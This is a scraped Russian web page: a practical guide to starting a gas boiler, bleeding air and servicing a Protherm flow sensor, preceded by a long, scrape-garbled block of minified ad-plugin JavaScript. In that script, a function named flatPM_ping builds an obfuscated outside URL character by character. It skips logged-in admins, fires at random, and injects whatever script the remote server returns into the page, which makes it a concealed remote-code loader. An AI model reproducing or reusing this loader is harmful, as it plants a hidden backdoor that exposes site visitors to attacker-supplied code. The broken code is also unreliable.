‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘
“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’
Закрыть через ‘ o.how.outgoing.timer_count “
“:’
‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘
‘ c “
“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘
‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie(“flat_r_mb”,”zen.yandex”),flat_userVars.referer=”zen.yandex”);var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”
“],thead:[1,”
“],tbody:[1,”
“],colgroup:[2,”
“],col:[3,”
“],tr:[2,”
“],td:[3,”
“],th:[3,”
“],_default:[0,””,””]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(o,”<$1>”) r[2],l=r[0];l–;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “ng” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,l=’
‘,i=e.once;n(t).each(function(){var e=n(this);e.wrap(‘
‘);var t=e.closest(“.flat__4_video”);-1!==l.indexOf(“go” “oglesyndication”)?t.append(l):flatPM_setHTML(t[0],l),e.find(“.flat__4_video_flex”).one(“click”,function(){n(this).addClass(“show”)})}),n(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=n(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),r=parseInt(o),l=setInterval(function(){a.text(–r),r<=0&&(clearInterval(l),”true”==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){n(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&n(“.flat__4_video_flex”).remove()})}
Удаление воздушных пробок в системе
Просто набрать систему отопления водой недостаточно, чтобы осуществить полноценный запуск отопления с нее необходимо выпустить скопившейся воздух. Большинство современных котлов отопления оборудуются автоматической системой сброса воздуха, но, как правило, они работают неэффективно и поэтому, хотя бы из основных узлов, его необходимо удалить вручную.
Запуск системы отопления предусматривает устранение воздушных пробок в радиаторах и циркуляционном насосе.Начать лучше с батарей. Для удаления воздушных пробок на них обычно устанавливается кран Маевского. Открываем его и ждем, пока побежит водичка. Побежала? Закрываем. Такие манипуляции нужно проделать с каждым отопительным прибором в отдельности.
Как запустить котел своими руками фото
После того как воздух из батарей будет удален, давление в системе снизится и стрелка манометра упадет. На данном этапе работ решение вопроса, как запустить котел, предусматривает повторную подпитку системы жидкостью.
Теперь, самое сложное – запуск газовых котлов требует сброса воздуха с циркуляционного насоса. Для этого котел нужно немного разобрать. Снимаем лицевую крышку и ищем предмет цилиндрической формы с блестящей крышечкой посередине, имеющей прорезь под отвертку.
Сброс воздуха с циркуляционного насоса при запуске котла фото
Сразу же включится циркуляционный насос – вы услышите слабый гул и громкое бульканье и много непонятных звуков. Это нормально. Пока насос завоздушен, так и будет. Берем отвертку и потихоньку откручиваем крышку посередине насоса – как только из-под нее начнет просачиваться вода, закручиваем ее назад.
В принципе, все. Пока система прогревается, можно заняться подробным изучением инструкции (если, конечно, вы еще этого не сделали) и заняться отладкой системы, которую предусматривает запуск котла. Здесь все просто – ближние к котлу батареи необходимо прикрутить, а дальние запустить на всю катушку. Такая отладка осуществляется посредством регулирующих кранов, установленных на патрубке подключения подачи к отопительному радиатору.
Автор статьи Александр Куликов
Запуск газового котла начинается с наполнения системы отопления водой. Здесь все просто – современные двухконтурные котлы не требуют устройства специального узла подпитки системы. Она уже встроена в котел и оборудована специальным краником, который, как правило, находится снизу котла в непосредственной близости от патрубка подключения холодной воды. Открываем кран подпитки и медленно наполняем систему водой.
Запуск котла – как наполнить систему водой
Очень важным моментом в работе любого котельного оборудования является давление жидкости. Для контроля этого параметра системы отопления практически все котлы оборудуются манометром. В процессе наполнения систем водой необходимо следить за давлением и после того, как оно достигнет отметки 1,5-2атм, наполнение системы нужно будет остановить.
Первый запуск газового котла своими руками
Датчик расхода (протока) воды газового котла Protherm Gepard (Panther)
Датчик расхода (протока) воды ГВС представляет из себя вращающуюся турбинку с лопастями, скорость вращения которой зависит от интенсивности протока воды. Из опыта эксплуатации газовых котлов Protherm Gepard (Panther) известно, что частой причиной отказа функции подогрева воды ГВС в этих котлах является остановка турбинки из-за попадания в неё посторонних частиц. Хотя турбинка защищена от засорения сетчатым фильтром, но он не всегда справляется со своей задачей.
Если при открытии крана разбора горячей воды, горелка котла не зажигается, а из крана течет холодная вода, то проверяют исправность датчика расхода ГВС. Необходимо вызвать строку d.36 сервисного меню, в которой отображаются показания датчика расхода.
Расположение датчика расхода воды обозначено зеленой стрелкой на рисунке ниже.
Датчик расхода воды снимают, потянув влево фиксирующую стальную скобу. Сняв скобу, необходимо потянуть датчик на себя и вытащить его из гнезда. Перед снятием датчика необходимо слить воду из тракта ГВС котла, как описано выше.
Для исключения отказов в работе датчика расхода, рекомендуется подавать воду на котел через дополнительно установленный перед котлом фильтр водопроводной воды.
Для каждого типа автоматики существуют свои правила, как выключить газовый котел отопления на лето:
- EuroSit 630. Поворачивать ручку до тех пор, пока метка на ней не поравняется со звездочкой на корпусе. Затем закрыть газовый кран.
- MiniSit 710. Прокрутить ручку терморегулятора по часовой стрелке до упора. Нажать «Выкл». Перекрыть газ.
- «Каре». Термореле влево до упора и перекрыть газ.
- Sit 820 NOVA. Повернуть регулятор сначала до звездочки, а затем до белой точки на корпусе.
Отопительное оборудование различных марок переводится на летний режим работы различными способами.
